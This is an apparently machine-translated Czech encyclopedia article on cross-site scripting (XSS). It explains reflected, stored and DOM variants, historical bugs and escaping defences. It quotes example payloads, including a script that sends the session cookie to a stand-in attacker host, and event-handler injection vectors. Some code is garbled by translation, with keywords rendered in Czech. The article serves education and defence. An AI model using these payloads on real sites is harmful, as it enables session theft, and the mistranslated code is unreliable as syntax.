XSS ( anglicky Cross-Site Scripting - "cross -site scripting ") - typ útoku na webové systémy , který spočívá ve vnesení škodlivého kódu na stránku vydanou webovým systémem (který bude spuštěn na počítači uživatele při jeho otevření ). tato stránka) a interakce tohoto kódu s webovým serverem útočníka. Je to varianta útoku Code Injection .
Specifikem takových útoků je, že škodlivý kód může využít autorizaci uživatele ve webovém systému k získání rozšířeného přístupu k němu nebo k získání autorizačních dat uživatele. Škodlivý kód lze do stránky vložit buď prostřednictvím zranitelnosti webového serveru, nebo prostřednictvím zranitelnosti v počítači uživatele [1] .
Termín je zkrácen jako „XSS“, aby nedošlo k záměně s kaskádovými styly , které používají zkratku „CSS“.
XSS je podle OWASP 2021 [2] na třetím místě v klíčových rizicích webových aplikací . Programátoři jim dlouho nevěnovali náležitou pozornost, považovali je za neškodné. Tento názor je však chybný: na stránce nebo v HTTP cookie mohou být velmi citlivá data (například identifikátor relace správce nebo čísla platebních dokladů) a tam, kde neexistuje ochrana proti CSRF , může útočník provádět jakékoli akce. k dispozici uživateli. K provedení DoS útoku lze použít cross-site skriptování [3] .
Zabezpečení internetu je vynucováno mnoha mechanismy, včetně důležitého konceptu známého jako pravidlo omezení domény . Toto pravidlo umožňuje skriptům umístěným na stránkách na stejném webu (https://mybank.example.com) vzájemně přistupovat ke svým metodám a vlastnostem bez omezení, ale brání přístupu k většině metod a vlastností pro stránky na jiném webu (https:// othersite .example.com) (nedostupný odkaz) [4] .
Skriptování mezi stránkami využívá známé zranitelnosti webových aplikací, serverů (nebo s nimi souvisejících systémových pluginů). Pomocí jednoho z nich útočník vloží škodlivý obsah do obsahu již napadeného webu. Výsledkem je, že uživatel obdrží sloučený obsah ve webovém prohlížeči , který byl doručen z důvěryhodného zdroje, a jedná tak podle oprávnění udělených tomuto systému. Po vložení potřebného skriptu do webové stránky může útočník získat zvýšená oprávnění pro práci s webovými stránkami, cookies a dalšími informacemi uloženými v prohlížeči daného uživatele.
Výraz „cross-site scripting“ původně znamenal interakci zranitelné webové aplikace se stránkou útočníka tak, že kód JavaScript připravený útočníkem byl spuštěn v kontextu napadené domény (odražená nebo uložená zranitelnost XSS). Postupně definice začala zahrnovat další způsoby vkládání kódu, včetně použití robustních a ne-JavaScriptových jazyků (jako jsou ActiveX , Java , VBScript , Flash a dokonce i HTML ), což vytvořilo zmatek mezi nováčky v oblasti informační bezpečnosti . [5]
Útokům XSS proti knihovně React JS je do značné míry zabráněno, protože vše je před vykreslením převedeno na řetězce. To zajišťuje, že nikdo nikdy nevloží nic, co nebylo výslovně napsáno vývojářem JS do webové aplikace.
Chyby zabezpečení XSS byly hlášeny a využívány od poloviny 90. let [ 6] . Mezi významné stránky, kterých se to v minulosti týkalo, patří sociální sítě jako Twitter [7] , VKontakte [8] , MySpace [9] , YouTube [10] , Facebook [11] a další.
Neexistuje žádná jasná klasifikace skriptování mezi weby. Většina odborníků však rozlišuje alespoň dva typy XSS: „odražený“ („odražený XSS“ nebo „Typ 1“) a „uložený“ („uložený XSS“ nebo „Typ 2“) .
Odražený útok na zranitelnost je zdaleka nejběžnějším útokem XSS [13] . K těmto chybám zabezpečení dochází, když jsou data poskytovaná webovým klientem, nejčastěji v parametrech požadavku HTTP nebo ve formě HTML , spouštěna přímo skripty na straně serveru k analýze a zobrazení stránky s výsledky pro daného klienta bez řádného zpracování [14] . Odražený útok XSS se spustí, když uživatel klikne na speciálně vytvořený odkaz.
Příklad:
http://example.com/search.php?q= < script > DoSomething ();</ script >Pokud web neunikne lomeným závorkám tím, že je převede na „ <“ a „ >“, dostaneme skript na stránku s výsledky vyhledávání.
Odražené útoky jsou obvykle zasílány e-mailem nebo zveřejněny na webové stránce. Adresa URL návnady není podezřelá, odkazuje na důvěryhodnou stránku, ale obsahuje vektor XSS. Pokud je důvěryhodný web zranitelný vůči vektoru XSS, může následování odkazu způsobit, že prohlížeč oběti spustí vložený skript.
Uloženo (trvale)Uložený XSS je nejničivější typ útoku. Uložené XSS je možné, když se útočníkovi podaří vložit škodlivý kód na server, který se spustí v prohlížeči při každém přístupu na původní stránku. Klasickým příkladem této zranitelnosti jsou fóra, kde je povoleno zanechávat komentáře ve formátu HTML bez omezení, stejně jako další weby Web 2.0 (blogy, wiki, imageboardy ), kdy jsou uživatelské texty a obrázky uloženy na serveru. Do těchto textů a obrázků se vkládají skripta.
Fragment kódu pro krádež klíče s ID relace:
< skript > dokument . location = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + doklad . cookie </ script > Modely DOMXSS v DOM se vyskytuje na straně klienta během zpracování dat uvnitř skriptu JavaScript. Tento typ XSS dostal své jméno, protože je implementován prostřednictvím DOM (Document Object Model) - platformě a jazykově nezávislém programovacím rozhraní, které umožňuje programům a skriptům přistupovat k obsahu dokumentů HTML a XML, stejně jako měnit obsah, struktura a design takových dokumentů . Při nesprávném filtrování je možné upravit DOM napadeného webu a dosáhnout spuštění kódu JavaScript v kontextu napadeného webu.
Příklad:
< tělo > < skript > dokument . write ( location . href );</ script > </ body >Příklad XSS DOM je chyba nalezená v roce 2011 v několika pluginech jQuery [15] . Techniky prevence XSS DOM zahrnují opatření, která jsou typická pro tradiční XSS, ale implementovaná v javascriptu a zasílaná na webové stránky – ověření vstupu a prevence útoků [16] . Některé javascriptové frameworky mají vestavěnou obranu proti těmto a dalším typům útoků, jako je AngularJS [17] .
Bugzilla , 2004 [19] V některých prohlížečích (alespoň Internet Explorer ) při zadávání URL
http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alert('foo');</script>neexistuje žádné kódování URL a kód
dokument . write ( "<p>URL: " + umístění dokumentu + " </p>" );vložit skript do stránky.
Kvůli chybám může prohlížeč spouštět skripty v SVG , porušovat pravidlo Same Domain Policy . To jsou vážné chyby; poté, co jsou objeveny, jsou rychle uzavřeny, nicméně během přechodného období se téměř všechny weby Web 2.0 stanou nebezpečnými : fóra, wiki, obrázkové panely. Pokud je taková chyba nalezena, doporučuje se do vydání aktualizace používat jiný prohlížeč.
Existují i jemnější chyby, které se objevují za velmi specifických podmínek a nezpůsobují větší škody. Takové chyby nemusí být opraveny roky a je výhodnější web opravit, než čekat na aktualizaci prohlížeče.
Žádné escapování speciálních znaků HTML Veškerý vlastní text musí být escapovánphpBB , 2002 [20] [21] . Ačkoli je adresa URL obrázku kontrolována podle protokolu (povoleno pouze http:), samotná adresa URL není nijak escapována a řádek jako
[img] http://aa/a "onerror=" javascript:alert(document.cookie)[/img]můžete do dokumentu přetáhnout vlastní skript.
Chyby na webu jsou mnohem častější. Aby se zajistilo, že prohlížeč nezamění řetězec za značku HTML, je třeba uvést escapování pěti znaků : '"&<>. Serveru nemusí uniknout všechny znaky (známá chyba PHP [22] ), nebo webový programátor jednoduše zapomene uniknout řetězec.
Normálně je text v databázích uložen bez kódování escapování a všechny vlastní řetězce musí být uvozeny pokaždé, když jsou vloženy do HTML: pokud například adresa URL obrázku není kódována , uživatel může zadat něco jako http://example.com/img.png" onmouseover="javascript:DoSomething();.
Mnoho webů umožňuje formátování textu pomocí nějakého značkovacího jazyka ( HTML , BBCode , wiki markup ). Často se neprovádí kompletní lexikální analýza značkovacího jazyka, ale pouze transformace do „bezpečného“ HTML pomocí regulárních výrazů [23] . To zjednodušuje programování, ale vyžaduje důkladné pochopení toho, jak může skript proniknout do výsledného HTML kódu.
Žádné filtrování atributů a jejich hodnot v povolených značkáchTypickým příkladem může být odkaz <a href="javascript:DoSomething()">. I když fórum umožňuje externí odkazy, neměli byste nechat protokoly javascript:a data:.
Jiné útoky nejsou XSS, ale jiné útoky jsou neméně škodlivé: hacker může zadat jako adresu server s úzkým internetovým kanálem, který ochromí jeho práci velkým počtem požadavků, nebo jej použít k uspořádání XSRF útoku.
Změna kódování v záhlaví stránkyModerní prohlížeče se snaží určit kódování stránky za běhu a interpretovat html podle tohoto kódování. Pokud je značka <title>umístěna před značkou a je vyplněna uživatelskými daty, může hacker vložit škodlivý <meta>html kód kódovaný UTF-7 a obejít tak filtrování znaků, jako <jsou ". Chcete-li se před touto chybou zabezpečení chránit, musíte před libovolnými vlastními poli výslovně zadat kódování stránky. HTML 5 výslovně zakazuje podporu prohlížeče pro kódování UTF-7 jako potenciálně nebezpečné. [24]
Prostřednictvím SQL InjectionPokud web umožňuje vkládání SQL kódu a zároveň zobrazuje obsah databáze bez jakéhokoli úniku (buď z neznalosti, nebo je v databázi uložen hotový HTML kód, [25] nebo autor bezpečně ví, že existuje nejsou v databázi žádné „špatné“ postavy), můžete provést neobvyklý útok.
Vložením SQL kódu zapíšeme „otrávenou“ stránku do databáze. Pokud někdo získá přístup k tomuto řádku databáze, do jeho prohlížeče vstoupí škodlivý skript. Existují útoky bez uložení HTML v databázi - DBMS místo pole uloženého v databázi vrátí skript, který je napsán v textu požadavku.
Aktivní XSS útok nevyžaduje žádnou akci ze strany uživatele z hlediska funkčnosti webové aplikace.
Příklad:
<input type=text value=a onfocus=alert(1337) AUTOFOCUS>
Tento příklad ukazuje vstupní pole, které má obslužnou rutinu události zobrazení fokusu, která provádí skutečný kód útoku, a pro toto vstupní pole je aktivována vlastnost nastavení automatického ostření. Tím se automaticky nastaví fokus, který zavolá obslužný program sady fokusů obsahující útočný kód. Útok je aktivní a je prováděn automaticky, aniž by od uživatele vyžadoval jakoukoliv aktivitu.
Pasivní (autonomní)Pasivní XSS útok se spustí, když uživatel provede určitou akci (kliknutí nebo přejetí myší atd.).
Příklad:
<a href='a' onmouseover=alert(1337) style='font-size:500px'>
Příklad ukazuje hypertextový odkaz, který zvláštním způsobem upoutá pozornost uživatele a/nebo zabírá značné množství místa, což zvyšuje pravděpodobnost umístění ukazatele myši, v tomto případě velkým písmem. Hypertextový odkaz má obslužnou rutinu události mouseover, která obsahuje kód útoku. Útok je pasivní, protože nic nedělá a útočný kód se při čekání, až uživatel najede na odkaz, nespustí.